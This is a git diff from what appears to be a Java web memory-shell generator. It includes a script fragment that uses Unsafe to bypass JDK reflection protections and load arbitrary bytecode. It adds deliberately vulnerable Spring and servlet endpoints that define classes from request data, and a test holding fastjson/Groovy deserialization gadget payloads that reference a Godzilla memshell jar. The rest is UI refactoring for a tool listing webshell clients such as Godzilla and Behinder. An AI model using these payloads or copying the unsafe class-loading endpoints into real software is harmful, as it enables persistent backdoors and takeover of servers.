reflectionAnonymousClass.getDeclaredField("fieldFilterMap"); +if (fieldFilterMapField.getType().isAssignableFrom(java.lang.Class.forName("java.util.HashMap"))) { + unsafe.putObject(reflectionClass, unsafe.staticFieldOffset(fieldFilterMapField), java.lang.Class.forName("java.util.HashMap").newInstance()); +} +var clz = java.lang.Class.forName("java.lang.Class").getResourceAsStream("Class.class").readAllBytes(); +var ClassAnonymousClass = unsafe.defineAnonymousClass(java.lang.Class.forName("java.lang.Class"), clz, null); +var reflectionDataField = ClassAnonymousClass.getDeclaredField("reflectionData"); +unsafe.putObject(java.lang.Class.forName("java.lang.Class"), unsafe.objectFieldOffset(reflectionDataField), null); +var clsInt = java.lang.Integer.TYPE; +var defineClassMethod = java.lang.Class.forName("java.lang.ClassLoader").getDeclaredMethod("defineClass", clsByteArray, clsInt, clsInt); +var modifiers = defineClassMethod.getClass().getDeclaredField("modifiers"); +unsafe.putShort(defineClassMethod, unsafe.objectFieldOffset(modifiers), 0x00000001); +var cc = defineClassMethod.invoke(new java.net.URLClassLoader(java.lang.reflect.Array.newInstance(java.lang.Class.forName("java.net.URL"), 0), java.lang.Thread.currentThread().getContextClassLoader()), bytecode, 0, bytecode.length); +cc.newInstance(); + diff --git a/vul/vul-springboot1/src/main/java/com/reajason/javaweb/vul/springboot1/controller/BigIntegerClassLoaderController.java b/vul/vul-springboot1/src/main/java/com/reajason/javaweb/vul/springboot1/controller/BigIntegerClassLoaderController.java new file mode 100644 index 00000000..d8bf9ab3 --- /dev/null +++ b/vul/vul-springboot1/src/main/java/com/reajason/javaweb/vul/springboot1/controller/BigIntegerClassLoaderController.java @@ -0,0 +1,24 @@ +package com.reajason.javaweb.vul.springboot1.controller; + +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; + +/** + * @author ReaJason + * @since 2025/12/6 + */ +@RestController +@RequestMapping("/biginteger") +public class BigIntegerClassLoaderController extends ClassLoader { + static byte[] decodeBigInteger(String bigIntegerStr) throws Exception { + Class decoderClass = Class.forName("java.math.BigInteger"); + return (byte[]) decoderClass.getMethod("toByteArray").invoke(decoderClass.getConstructor(String.class, int.class).newInstance(bigIntegerStr, Character.MAX_RADIX)); + } + + @PostMapping + public void base64ClassLoader(String data) throws Exception { + byte[] bytes = decodeBigInteger(data); + defineClass(null, bytes, 0, bytes.length).newInstance(); + } +} diff --git a/vul/vul-springboot2-jetty/src/main/java/com/reajason/javaweb/vul/springboot2/controller/BigIntegerClassLoaderController.java b/vul/vul-springboot2-jetty/src/main/java/com/reajason/javaweb/vul/springboot2/controller/BigIntegerClassLoaderController.java new file mode 100644 index 00000000..f03071b5 --- /dev/null +++ b/vul/vul-springboot2-jetty/src/main/java/com/reajason/javaweb/vul/springboot2/controller/BigIntegerClassLoaderController.java @@ -0,0 +1,24 @@ +package com.reajason.javaweb.vul.springboot2.controller; + +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; + +/** + * @author ReaJason + * @since 2025/12/6 + */ +@RestController +@RequestMapping("/biginteger") +public class BigIntegerClassLoaderController extends ClassLoader { + static byte[] decodeBigInteger(String bigIntegerStr) throws Exception { + Class decoderClass = Class.forName("java.math.BigInteger"); + return (byte[]) decoderClass.getMethod("toByteArray").invoke(decoderClass.getConstructor(String.class, int.class).newInstance(bigIntegerStr, Character.MAX_RADIX)); + } + + @PostMapping + public void base64ClassLoader(String data) throws Exception { + byte[] bytes = decodeBigInteger(data); + defineClass(null, bytes, 0, bytes.length).newInstance(); + } +} diff --git a/vul/vul-springboot2-undertow/src/main/java/com/reajason/javaweb/vul/springboot2/controller/BigIntegerClassLoaderController.java b/vul/vul-springboot2-undertow/src/main/java/com/reajason/javaweb/vul/springboot2/controller/BigIntegerClassLoaderController.java new file mode 100644 index 00000000..f03071b5 --- /dev/null +++ b/vul/vul-springboot2-undertow/src/main/java/com/reajason/javaweb/vul/springboot2/controller/BigIntegerClassLoaderController.java @@ -0,0 +1,24 @@ +package com.reajason.javaweb.vul.springboot2.controller; + +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; + +/** + * @author ReaJason + * @since 2025/12/6 + */ +@RestController +@RequestMapping("/biginteger") +public class BigIntegerClassLoaderController extends ClassLoader { + static byte[] decodeBigInteger(String bigIntegerStr) throws Exception { + Class decoderClass = Class.forName("java.math.BigInteger"); + return (byte[]) decoderClass.getMethod("toByteArray").invoke(decoderClass.getConstructor(String.class, int.class).newInstance(bigIntegerStr, Character.MAX_RADIX)); + } + + @PostMapping + public void base64ClassLoader(String data) throws Exception { + byte[] bytes = decodeBigInteger(data); + defineClass(null, bytes, 0, bytes.length).newInstance(); + } +} diff --git a/vul/vul-springboot2/src/main/java/com/reajason/javaweb/vul/springboot2/controller/BigIntegerClassLoaderController.java b/vul/vul-springboot2/src/main/java/com/reajason/javaweb/vul/springboot2/controller/BigIntegerClassLoaderController.java new file mode 100644 index 00000000..f03071b5 --- /dev/null +++ b/vul/vul-springboot2/src/main/java/com/reajason/javaweb/vul/springboot2/controller/BigIntegerClassLoaderController.java @@ -0,0 +1,24 @@ +package com.reajason.javaweb.vul.springboot2.controller; + +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; + +/** + * @author ReaJason + * @since 2025/12/6 + */ +@RestController +@RequestMapping("/biginteger") +public class BigIntegerClassLoaderController extends ClassLoader { + static byte[] decodeBigInteger(String bigIntegerStr) throws Exception { + Class decoderClass = Class.forName("java.math.BigInteger"); + return (byte[]) decoderClass.getMethod("toByteArray").invoke(decoderClass.getConstructor(String.class, int.class).newInstance(bigIntegerStr, Character.MAX_RADIX)); + } + + @PostMapping + public void base64ClassLoader(String data) throws Exception { + byte[] bytes = decodeBigInteger(data); + defineClass(null, bytes, 0, bytes.length).newInstance(); + } +} diff --git a/vul/vul-springboot3/src/main/java/com/reajason/javaweb/vul/springboot3/controller/BigIntegerClassLoaderController.java b/vul/vul-springboot3/src/main/java/com/reajason/javaweb/vul/springboot3/controller/BigIntegerClassLoaderController.java new file mode 100644 index 00000000..2bbdaca2 --- /dev/null +++ b/vul/vul-springboot3/src/main/java/com/reajason/javaweb/vul/springboot3/controller/BigIntegerClassLoaderController.java @@ -0,0 +1,24 @@ +package com.reajason.javaweb.vul.springboot3.controller; + +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; + +/** + * @author ReaJason + * @since 2025/12/6 + */ +@RestController +@RequestMapping("/biginteger") +public class BigIntegerClassLoaderController extends ClassLoader { + static byte[] decodeBigInteger(String bigIntegerStr) throws Exception { + Class decoderClass = Class.forName("java.math.BigInteger"); + return (byte[]) decoderClass.getMethod("toByteArray").invoke(decoderClass.getConstructor(String.class, int.class).newInstance(bigIntegerStr, Character.MAX_RADIX)); + } + + @PostMapping + public void base64ClassLoader(String data) throws Exception { + byte[] bytes = decodeBigInteger(data); + defineClass(null, bytes, 0, bytes.length).newInstance(); + } +} diff --git a/vul/vul-webapp-deserialize/build.gradle.kts b/vul/vul-webapp-deserialize/build.gradle.kts index 5e7b5ddf..2addf111 100644 --- a/vul/vul-webapp-deserialize/build.gradle.kts +++ b/vul/vul-webapp-deserialize/build.gradle.kts @@ -31,6 +31,8 @@ dependencies { implementation("org.yaml:snakeyaml:1.27") implementation("com.alibaba:fastjson:1.2.47") implementation("com.fasterxml.jackson.core:jackson-databind:2.8.0") + implementation("org.codehaus.groovy:groovy:3.0.6") + implementation("com.alibaba:fastjson:1.2.80") implementation("xalan:xalan:2.7.2") providedCompile("javax.servlet:javax.servlet-api:3.1.0") testImplementation(libs.junit.jupiter) diff --git a/vul/vul-webapp-deserialize/src/main/java/FastjsonServlet.java b/vul/vul-webapp-deserialize/src/main/java/FastjsonServlet.java new file mode 100644 index 00000000..d641fadd --- /dev/null +++ b/vul/vul-webapp-deserialize/src/main/java/FastjsonServlet.java @@ -0,0 +1,24 @@ +import com.alibaba.fastjson.JSONObject; + +import javax.servlet.ServletException; +import javax.servlet.annotation.WebServlet; +import javax.servlet.http.HttpServlet; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.io.IOException; + +/** + * @author ReaJason + * @since 2025/12/06 + */ +@WebServlet("/fastjson") +public class FastjsonServlet extends HttpServlet { + @Override + protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { + String data = req.getParameter("data"); + try { + JSONObject.parse(data); + } catch (Exception ignored) { + } + } +} diff --git a/vul/vul-webapp-deserialize/src/test/java/FastjsonServletTest.java b/vul/vul-webapp-deserialize/src/test/java/FastjsonServletTest.java new file mode 100644 index 00000000..bd4c7cd2 --- /dev/null +++ b/vul/vul-webapp-deserialize/src/test/java/FastjsonServletTest.java @@ -0,0 +1,35 @@ +import com.alibaba.fastjson.JSONObject; +import org.junit.jupiter.api.Test; + +/** + * @author ReaJason + * @since 2025/12/6 + */ +class FastjsonServletTest { + @Test + void test() { + String json = "{\n" + + " \"@type\":\"java.lang.Exception\",\n" + + " \"@type\":\"org.codehaus.groovy.control.CompilationFailedException\",\n" + + " \"unit\":{\n" + + " }\n" + + "}"; + + try { + JSONObject.parse(json); + } catch (Exception e) { + //e.printStackTrace(); + } + String data = "{\n" + + " \"@type\":\"org.codehaus.groovy.control.ProcessingUnit\",\n" + + " \"@type\":\"org.codehaus.groovy.tools.javac.JavaStubCompilationUnit\",\n" + + " \"config\":{\n" + + " \"@type\": \"org.codehaus.groovy.control.CompilerConfiguration\",\n" + + " \"classpathList\":[\"file:/Users/reajason/Downloads/TomcatGodzillaMemShell.jar\"]\n" + + " },\n" + + " \"gcl\":null,\n" + + " \"destDir\": \"/tmp\"\n" + + "}"; +// JSONObject.parse(data); + } +} \ No newline at end of file diff --git a/vul/vul-webapp-jakarta/src/main/java/jakarta/BigIntegerClassLaoderServlet.java b/vul/vul-webapp-jakarta/src/main/java/jakarta/BigIntegerClassLaoderServlet.java index f6f1f7ea..24e0e555 100644 --- a/vul/vul-webapp-jakarta/src/main/java/jakarta/BigIntegerClassLaoderServlet.java +++ b/vul/vul-webapp-jakarta/src/main/java/jakarta/BigIntegerClassLaoderServlet.java @@ -25,8 +25,7 @@ public void service(ServletRequest req, ServletResponse res) throws ServletExcep String data = req.getParameter("data"); try { byte[] bytes = decodeBigInteger(data); - Object obj = defineClass(null, bytes, 0, bytes.length).newInstance(); - res.getWriter().print(obj); + defineClass(null, bytes, 0, bytes.length).newInstance(); } catch (Exception e) { throw new RuntimeException(e); } diff --git a/vul/vul-webapp/src/main/java/BigIntegerClassLaoderServlet.java b/vul/vul-webapp/src/main/java/BigIntegerClassLaoderServlet.java index 33129a7d..a106e99a 100644 --- a/vul/vul-webapp/src/main/java/BigIntegerClassLaoderServlet.java +++ b/vul/vul-webapp/src/main/java/BigIntegerClassLaoderServlet.java @@ -22,8 +22,7 @@ public void service(ServletRequest req, ServletResponse res) throws ServletExcep String data = req.getParameter("data"); try { byte[] bytes = decodeBigInteger(data); - Object obj = defineClass(null, bytes, 0, bytes.length).newInstance(); - res.getWriter().print(obj); + defineClass(null, bytes, 0, bytes.length).newInstance(); } catch (Exception e) { throw new RuntimeException(e); } diff --git a/vul/vul-webapp/src/main/java/TestServlet.java b/vul/vul-webapp/src/main/java/TestServlet.java index c1fc5020..c280e226 100644 --- a/vul/vul-webapp/src/main/java/TestServlet.java +++ b/vul/vul-webapp/src/main/java/TestServlet.java @@ -3,7 +3,6 @@ import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.IOException; - /** * @author ReaJason * @since 2024/12/7 diff --git a/web/.env b/web/.env index 1f867a91..56d7e9e7 100644 --- a/web/.env +++ b/web/.env @@ -1,2 +1,2 @@ -VITE_APP_API_URL=http://127.0.0.1:8080 +VITE_APP_API_URL=http://127.0.0.1:8889 VITE_APP_BASE_PATH=/ \ No newline at end of file diff --git a/web/.env.production b/web/.env.production index 7ff78958..406c7e8c 100644 --- a/web/.env.production +++ b/web/.env.production @@ -1,2 +1,2 @@ VITE_APP_API_URL= -VITE_APP_BASE_PATH=/ \ No newline at end of file +VITE_APP_BASE_PATH=/ui \ No newline at end of file diff --git a/web/.gitignore b/web/.gitignore index 44e0b839..8fa7200c 100644 --- a/web/.gitignore +++ b/web/.gitignore @@ -1,20 +1,7 @@ -# Local .DS_Store -*.local -*.log* +/node_modules/ -# Dist -node_modules -dist/ -.vinxi -.output -.vercel -.netlify -.wrangler - -# IDE -.vscode/* -!.vscode/extensions.json -.idea -tsconfig.app.tsbuildinfo -tsconfig.node.tsbuildinfo \ No newline at end of file +# React Router +/.react-router/ +/build/ +.source diff --git a/web/src/index.css b/web/app/app.css similarity index 59% rename from web/src/index.css rename to web/app/app.css index b608edb7..73ddc8ba 100644 --- a/web/src/index.css +++ b/web/app/app.css @@ -1,89 +1,85 @@ @import "tailwindcss"; @import "tw-animate-css"; - -@source "../../../apps/**/*.{ts,tsx}"; -@source "../../../components/**/*.{ts,tsx}"; -@source "../**/*.{ts,tsx}"; - -@custom-variant dark (&:is(.dark *)); - -@theme { - --font-sans: var(--font-geist-sans); - --font-mono: var(--font-geist-mono); -} +@import "fumadocs-ui/css/shadcn.css"; +@import "fumadocs-ui/css/preset.css"; :root { --radius: 0.625rem; --background: oklch(1 0 0); - --foreground: oklch(0.141 0.005 285.823); + --foreground: oklch(0.145 0 0); --card: oklch(1 0 0); - --card-foreground: oklch(0.141 0.005 285.823); + --card-foreground: oklch(0.145 0 0); --popover: oklch(1 0 0); - --popover-foreground: oklch(0.141 0.005 285.823); - --primary: oklch(0.21 0.006 285.885); + --popover-foreground: oklch(0.145 0 0); + --primary: oklch(0.205 0 0); --primary-foreground: oklch(0.985 0 0); - --secondary: oklch(0.967 0.001 286.375); - --secondary-foreground: oklch(0.21 0.006 285.885); - --muted: oklch(0.967 0.001 286.375); - --muted-foreground: oklch(0.552 0.016 285.938); - --accent: oklch(0.967 0.001 286.375); - --accent-foreground: oklch(0.21 0.006 285.885); + --secondary: oklch(0.97 0 0); + --secondary-foreground: oklch(0.205 0 0); + --muted: oklch(0.97 0 0); + --muted-foreground: oklch(0.556 0 0); + --accent: oklch(0.97 0 0); + --accent-foreground: oklch(0.205 0 0); --destructive: oklch(0.577 0.245 27.325); - --border: oklch(0.92 0.004 286.32); - --input: oklch(0.92 0.004 286.32); - --ring: oklch(0.705 0.015 286.067); + --border: oklch(0.922 0 0); + --input: oklch(0.922 0 0); + --ring: oklch(0.708 0 0); --chart-1: oklch(0.646 0.222 41.116); --chart-2: oklch(0.6 0.118 184.704); --chart-3: oklch(0.398 0.07 227.392); --chart-4: oklch(0.828 0.189 84.429); --chart-5: oklch(0.769 0.188 70.08); --sidebar: oklch(0.985 0 0); - --sidebar-foreground: oklch(0.141 0.005 285.823); - --sidebar-primary: oklch(0.21 0.006 285.885); + --sidebar-foreground: oklch(0.145 0 0); + --sidebar-primary: oklch(0.205 0 0); --sidebar-primary-foreground: oklch(0.985 0 0); - --sidebar-accent: oklch(0.967 0.001 286.375); - --sidebar-accent-foreground: oklch(0.21 0.006 285.885); - --sidebar-border: oklch(0.92 0.004 286.32); - --sidebar-ring: oklch(0.705 0.015 286.067); - --color-1: oklch(66.2% 0.225 25.9); - --color-2: oklch(60.4% 0.26 302); - --color-3: oklch(69.6% 0.165 251); - --color-4: oklch(80.2% 0.134 225); - --color-5: oklch(90.7% 0.231 133); + --sidebar-accent: oklch(0.97 0 0); + --sidebar-accent-foreground: oklch(0.205 0 0); + --sidebar-border: oklch(0.922 0 0); + --sidebar-ring: oklch(0.708 0 0); } .dark { - --background: oklch(0.141 0.005 285.823); + --background: oklch(0.145 0 0); --foreground: oklch(0.985 0 0); - --card: oklch(0.21 0.006 285.885); + --card: oklch(0.205 0 0); --card-foreground: oklch(0.985 0 0); - --popover: oklch(0.21 0.006 285.885); + --popover: oklch(0.205 0 0); --popover-foreground: oklch(0.985 0 0); - --primary: oklch(0.92 0.004 286.32); - --primary-foreground: oklch(0.21 0.006 285.885); - --secondary: oklch(0.274 0.006 286.033); + --primary: oklch(0.922 0 0); + --primary-foreground: oklch(0.205 0 0); + --secondary: oklch(0.269 0 0); --secondary-foreground: oklch(0.985 0 0); - --muted: oklch(0.274 0.006 286.033); - --muted-foreground: oklch(0.705 0.015 286.067); - --accent: oklch(0.274 0.006 286.033); + --muted: oklch(0.269 0 0); + --muted-foreground: oklch(0.708 0 0); + --accent: oklch(0.269 0 0); --accent-foreground: oklch(0.985 0 0); --destructive: oklch(0.704 0.191 22.216); --border: oklch(1 0 0 / 10%); --input: oklch(1 0 0 / 15%); - --ring: oklch(0.552 0.016 285.938); + --ring: oklch(0.556 0 0); --chart-1: oklch(0.488 0.243 264.376); --chart-2: oklch(0.696 0.17 162.48); --chart-3: oklch(0.769 0.188 70.08); --chart-4: oklch(0.627 0.265 303.9); --chart-5: oklch(0.645 0.246 16.439); - --sidebar: oklch(0.21 0.006 285.885); + --sidebar: oklch(0.205 0 0); --sidebar-foreground: oklch(0.985 0 0); --sidebar-primary: oklch(0.488 0.243 264.376); --sidebar-primary-foreground: oklch(0.985 0 0); - --sidebar-accent: oklch(0.274 0.006 286.033); + --sidebar-accent: oklch(0.269 0 0); --sidebar-accent-foreground: oklch(0.985 0 0); --sidebar-border: oklch(1 0 0 / 10%); - --sidebar-ring: oklch(0.552 0.016 285.938); + --sidebar-ring: oklch(0.556 0 0); +} + +:root { + --color-1: oklch(66.2% 0.225 25.9); + --color-2: oklch(60.4% 0.26 302); + --color-3: oklch(69.6% 0.165 251); + --color-4: oklch(80.2% 0.134 225); + --color-5: oklch(90.7% 0.231 133); +} +.dark { --color-1: oklch(66.2% 0.225 25.9); --color-2: oklch(60.4% 0.26 302); --color-3: oklch(69.6% 0.165 251); @@ -128,59 +124,28 @@ --color-sidebar-accent-foreground: var(--sidebar-accent-foreground); --color-sidebar-border: var(--sidebar-border); --color-sidebar-ring: var(--sidebar-ring); + --color-color-1: var(--color-1); + --color-color-2: var(--color-2); + --color-color-3: var(--color-3); + --color-color-4: var(--color-4); + --color-color-5: var(--color-5); --animate-line-shadow: line-shadow 15s linear infinite; - @keyframes line-shadow { - 0% { - background-position: 0 0; - } - 100% { - background-position: 100% -100%; - } - } --animate-rainbow: rainbow var(--speed, 2s) infinite linear; - --color-color-5: var(--color-5); - --color-color-4: var(--color-4); - --color-color-3: var(--color-3); - --color-color-2: var(--color-2); - --color-color-1: var(--color-1); - @keyframes rainbow { - 0% { - background-position: 0%; - } - 100% { - background-position: 200%; - } - } } - -@layer base { - * { - @apply border-border outline-ring/50; +@keyframes line-shadow { + 0% { + background-position: 0 0; } - body { - @apply bg-background text-foreground; + 100% { + background-position: 100% -100%; } - - html, - body { - overflow: hidden; - height: 100%; - margin: 0; - } -} - -.tabs-list { - scrollbar-width: thin; -} - -.tabs-list::-webkit-scrollbar { - @apply h-1.5 w-1.5; -} - -.tabs-list::-webkit-scrollbar-track { - @apply bg-transparent; } -.tabs-list::-webkit-scrollbar-thumb { - @apply bg-muted-foreground/20 hover:bg-muted-foreground/30 rounded-full; +@keyframes rainbow { + 0% { + background-position: 0%; + } + 100% { + background-position: 200%; + } } diff --git a/web/src/components/code-viewer.tsx b/web/app/components/code-viewer.tsx similarity index 91% rename from web/src/components/code-viewer.tsx rename to web/app/components/code-viewer.tsx index 87f65533..74304e69 100644 --- a/web/src/components/code-viewer.tsx +++ b/web/app/components/code-viewer.tsx @@ -7,11 +7,11 @@ import { useEffect, useState, } from "react"; -import { CopyToClipboard } from "react-copy-to-clipboard"; +import CopyToClipboard from "react-copy-to-clipboard"; import { useTranslation } from "react-i18next"; import { PrismLight as SyntaxHighlighter } from "react-syntax-highlighter"; import java from "react-syntax-highlighter/dist/esm/languages/prism/java"; -import { materialDark } from "react-syntax-highlighter/dist/esm/styles/prism"; +import materialDark from "react-syntax-highlighter/dist/esm/styles/prism/material-dark"; import { toast } from "sonner"; import { Button, type buttonVariants } from "@/components/ui/button"; import { cn } from "@/lib/utils"; @@ -26,7 +26,7 @@ export function CopyButton({ value, }: Readonly>) { const [hasCopied, setHasCopied] = useState(false); - const { t } = useTranslation(); + const { t } = useTranslation(["common"]); useEffect(() => { if (hasCopied) { @@ -45,7 +45,7 @@ export function CopyButton({ }, [hasCopied, t]); return ( - + - + ); } diff --git a/web/src/components/copyable-field.tsx b/web/app/components/copyable-field.tsx similarity index 87% rename from web/src/components/copyable-field.tsx rename to web/app/components/copyable-field.tsx index 7c26e4b4..4261b344 100644 --- a/web/src/components/copyable-field.tsx +++ b/web/app/components/copyable-field.tsx @@ -1,6 +1,6 @@ import { Check, Copy } from "lucide-react"; import { useCallback, useEffect, useState } from "react"; -import { CopyToClipboard } from "react-copy-to-clipboard"; +import CopyToClipboard from "react-copy-to-clipboard"; import { useTranslation } from "react-i18next"; import { toast } from "sonner"; import { Button } from "@/components/ui/button"; @@ -18,7 +18,7 @@ export function CopyableField({ text, }: Readonly) { const [hasCopied, setHasCopied] = useState(false); - const { t } = useTranslation(); + const { t } = useTranslation(["common"]); useEffect(() => { if (hasCopied) { @@ -43,7 +43,7 @@ export function CopyableField({
{value && ( - + - + )}

{text}

diff --git a/web/src/components/language-switcher.tsx b/web/app/components/language-switcher.tsx similarity index 100% rename from web/src/components/language-switcher.tsx rename to web/app/components/language-switcher.tsx diff --git a/web/src/components/magicui/line-shadow-text.tsx b/web/app/components/magicui/line-shadow-text.tsx similarity index 100% rename from web/src/components/magicui/line-shadow-text.tsx rename to web/app/components/magicui/line-shadow-text.tsx diff --git a/web/src/components/magicui/rainbow-button.tsx b/web/app/components/magicui/rainbow-button.tsx similarity index 100% rename from web/src/components/magicui/rainbow-button.tsx rename to web/app/components/magicui/rainbow-button.tsx diff --git a/web/src/components/memshell/main-config-card.tsx b/web/app/components/memshell/main-config-card.tsx similarity index 81% rename from web/src/components/memshell/main-config-card.tsx rename to web/app/components/memshell/main-config-card.tsx index 05786513..a62b1763 100644 --- a/web/src/components/memshell/main-config-card.tsx +++ b/web/app/components/memshell/main-config-card.tsx @@ -19,12 +19,7 @@ import CustomTabContent from "@/components/memshell/tabs/custom-tab"; import { GodzillaTabContent } from "@/components/memshell/tabs/godzilla-tab"; import { NeoRegTabContent } from "@/components/memshell/tabs/neoreg-tab"; import { Suo5TabContent } from "@/components/memshell/tabs/suo5-tab"; -import { - Card, - CardContent, - CardHeader, - CardTitle, -} from "@/components/ui/card.tsx"; +import { Card, CardContent, CardHeader, CardTitle } from "@/components/ui/card"; import { FormControl, FormDescription, @@ -34,16 +29,16 @@ import { FormItem, FormLabel, FormMessage, -} from "@/components/ui/form.tsx"; -import { Label } from "@/components/ui/label.tsx"; +} from "@/components/ui/form"; +import { Label } from "@/components/ui/label"; import { Select, SelectContent, SelectItem, SelectTrigger, SelectValue, -} from "@/components/ui/select.tsx"; -import { Switch } from "@/components/ui/switch.tsx"; +} from "@/components/ui/select"; +import { Switch } from "@/components/ui/switch"; import { Tabs } from "@/components/ui/tabs"; import { type MainConfig, @@ -144,18 +139,16 @@ export default function MainConfigCard({ if (value === "TongWeb") { setServerVersionOptions([ ...defaultServerVersionOptions, - { - name: "6", - value: "6", - }, - { - name: "7", - value: "7", - }, - { - name: "8", - value: "8", - }, + { name: "6", value: "6" }, + { name: "7", value: "7" }, + { name: "8", value: "8" }, + ]); + } else if (value === "Jetty") { + setServerVersionOptions([ + ...defaultServerVersionOptions, + { name: "6", value: "6" }, + { name: "7+", value: "7+" }, + { name: "12", value: "12" }, ]); } else { setServerVersionOptions(defaultServerVersionOptions); @@ -334,7 +327,38 @@ export default function MainConfigCard({ )} /> -
+
+ ( + + {t("common:shellTool")} + + + )} + /> +
+
)} /> + ( + + + + + + + )} + /> )} /> + ( + + + + + + + )} + /> - ( - - - - )} - /> - diff --git a/web/src/components/memshell/package-config-card.tsx b/web/app/components/memshell/package-config-card.tsx similarity index 96% rename from web/src/components/memshell/package-config-card.tsx rename to web/app/components/memshell/package-config-card.tsx index 6186d5f4..8df7f32f 100644 --- a/web/src/components/memshell/package-config-card.tsx +++ b/web/app/components/memshell/package-config-card.tsx @@ -2,19 +2,14 @@ import { PackageIcon } from "lucide-react"; import { useEffect, useState } from "react"; import { FormProvider, type UseFormReturn } from "react-hook-form"; import { useTranslation } from "react-i18next"; -import { - Card, - CardContent, - CardHeader, - CardTitle, -} from "@/components/ui/card.tsx"; +import { Card, CardContent, CardHeader, CardTitle } from "@/components/ui/card"; import { FormControl, FormField, FormItem, FormLabel, -} from "@/components/ui/form.tsx"; -import { RadioGroup, RadioGroupItem } from "@/components/ui/radio-group.tsx"; +} from "@/components/ui/form"; +import { RadioGroup, RadioGroupItem } from "@/components/ui/radio-group"; import type { PackerConfig } from "@/types/memshell"; import type { MemShellFormSchema } from "@/types/schema.ts"; diff --git a/web/src/components/memshell/quick-usage.tsx b/web/app/components/memshell/quick-usage.tsx similarity index 89% rename from web/src/components/memshell/quick-usage.tsx rename to web/app/components/memshell/quick-usage.tsx index 92ce327e..8d050e75 100644 --- a/web/src/components/memshell/quick-usage.tsx +++ b/web/app/components/memshell/quick-usage.tsx @@ -1,11 +1,6 @@ import { ScrollTextIcon } from "lucide-react"; import { useTranslation } from "react-i18next"; -import { - Card, - CardContent, - CardHeader, - CardTitle, -} from "@/components/ui/card.tsx"; +import { Card, CardContent, CardHeader, CardTitle } from "@/components/ui/card"; export function QuickUsage() { const { t } = useTranslation(["common", "memshell"]); diff --git a/web/src/components/memshell/results/agent.tsx b/web/app/components/memshell/results/agent.tsx similarity index 98% rename from web/src/components/memshell/results/agent.tsx rename to web/app/components/memshell/results/agent.tsx index 980c8d1b..69161150 100644 --- a/web/src/components/memshell/results/agent.tsx +++ b/web/app/components/memshell/results/agent.tsx @@ -15,7 +15,7 @@ export function AgentResult({ packResult: string; generateResult?: MemShellResult; }>) { - const { t } = useTranslation(); + const { t } = useTranslation(["common"]); const isPureAgent = packMethod === "AgentJar"; return ( diff --git a/web/src/components/memshell/results/basic-info.tsx b/web/app/components/memshell/results/basic-info.tsx similarity index 100% rename from web/src/components/memshell/results/basic-info.tsx rename to web/app/components/memshell/results/basic-info.tsx diff --git a/web/src/components/memshell/results/feedback-alert.tsx b/web/app/components/memshell/results/feedback-alert.tsx similarity index 100% rename from web/src/components/memshell/results/feedback-alert.tsx rename to web/app/components/memshell/results/feedback-alert.tsx diff --git a/web/src/components/memshell/results/jar-result.tsx b/web/app/components/memshell/results/jar-result.tsx similarity index 64% rename from web/src/components/memshell/results/jar-result.tsx rename to web/app/components/memshell/results/jar-result.tsx index b9bbc8d5..f5a81970 100644 --- a/web/src/components/memshell/results/jar-result.tsx +++ b/web/app/components/memshell/results/jar-result.tsx @@ -1,6 +1,5 @@ import { ScrollTextIcon } from "lucide-react"; import { useTranslation } from "react-i18next"; -import CodeViewer from "@/components/code-viewer"; import { Button } from "@/components/ui/button"; import { Card, CardContent, CardHeader, CardTitle } from "@/components/ui/card"; import { Separator } from "@/components/ui/separator"; @@ -17,7 +16,6 @@ export function JarResult({ generateResult?: MemShellResult; }>) { const { t } = useTranslation(); - const isPureJar = packMethod === "Jar"; return ( @@ -30,7 +28,7 @@ export function JarResult({
  1. - {t("common:download")} shell.jar ( + {t("common:download")} {packMethod}Shell.jar ( {formatBytes(atob(packResult).length)})
  2. - {isPureJar ? ( - <> -
  3. {t("memshell:tips.download-jar")}
  4. -
  5. {t("memshell:tips.trigger-injector-class-loading")}
  6. - - ) : ( - <> -
  7. {t("memshell:tips.download-jar")}
  8. -
  9. {t("memshell:tips.load-jar-with-scriptenginemanager")}
  10. - SnakeYaml Payload
} - /> - - )} +
  • {t("memshell:tips.download-jar")}
  • +
  • {t("memshell:tips.trigger-injector-class-loading")}
  • diff --git a/web/src/components/memshell/results/multi-packer.tsx b/web/app/components/memshell/results/multi-packer.tsx similarity index 100% rename from web/src/components/memshell/results/multi-packer.tsx rename to web/app/components/memshell/results/multi-packer.tsx diff --git a/web/src/components/memshell/results/result-component.tsx b/web/app/components/memshell/results/result-component.tsx similarity index 100% rename from web/src/components/memshell/results/result-component.tsx rename to web/app/components/memshell/results/result-component.tsx diff --git a/web/src/components/memshell/shell-result.tsx b/web/app/components/memshell/shell-result.tsx similarity index 96% rename from web/src/components/memshell/shell-result.tsx rename to web/app/components/memshell/shell-result.tsx index cd270b55..918494c2 100644 --- a/web/src/components/memshell/shell-result.tsx +++ b/web/app/components/memshell/shell-result.tsx @@ -3,13 +3,8 @@ import { useTranslation } from "react-i18next"; import { toast } from "sonner"; import { QuickUsage } from "@/components/memshell/quick-usage"; -import { Button } from "@/components/ui/button.tsx"; -import { - Tabs, - TabsContent, - TabsList, - TabsTrigger, -} from "@/components/ui/tabs.tsx"; +import { Button } from "@/components/ui/button"; +import { Tabs, TabsContent, TabsList, TabsTrigger } from "@/components/ui/tabs"; import { downloadBytes } from "@/lib/utils.ts"; import type { MemShellResult } from "@/types/memshell"; import CodeViewer from "../code-viewer"; diff --git a/web/src/components/memshell/tabs/antsword-tab.tsx b/web/app/components/memshell/tabs/antsword-tab.tsx similarity index 100% rename from web/src/components/memshell/tabs/antsword-tab.tsx rename to web/app/components/memshell/tabs/antsword-tab.tsx diff --git a/web/src/components/memshell/tabs/behinder-tab.tsx b/web/app/components/memshell/tabs/behinder-tab.tsx similarity index 100% rename from web/src/components/memshell/tabs/behinder-tab.tsx rename to web/app/components/memshell/tabs/behinder-tab.tsx diff --git 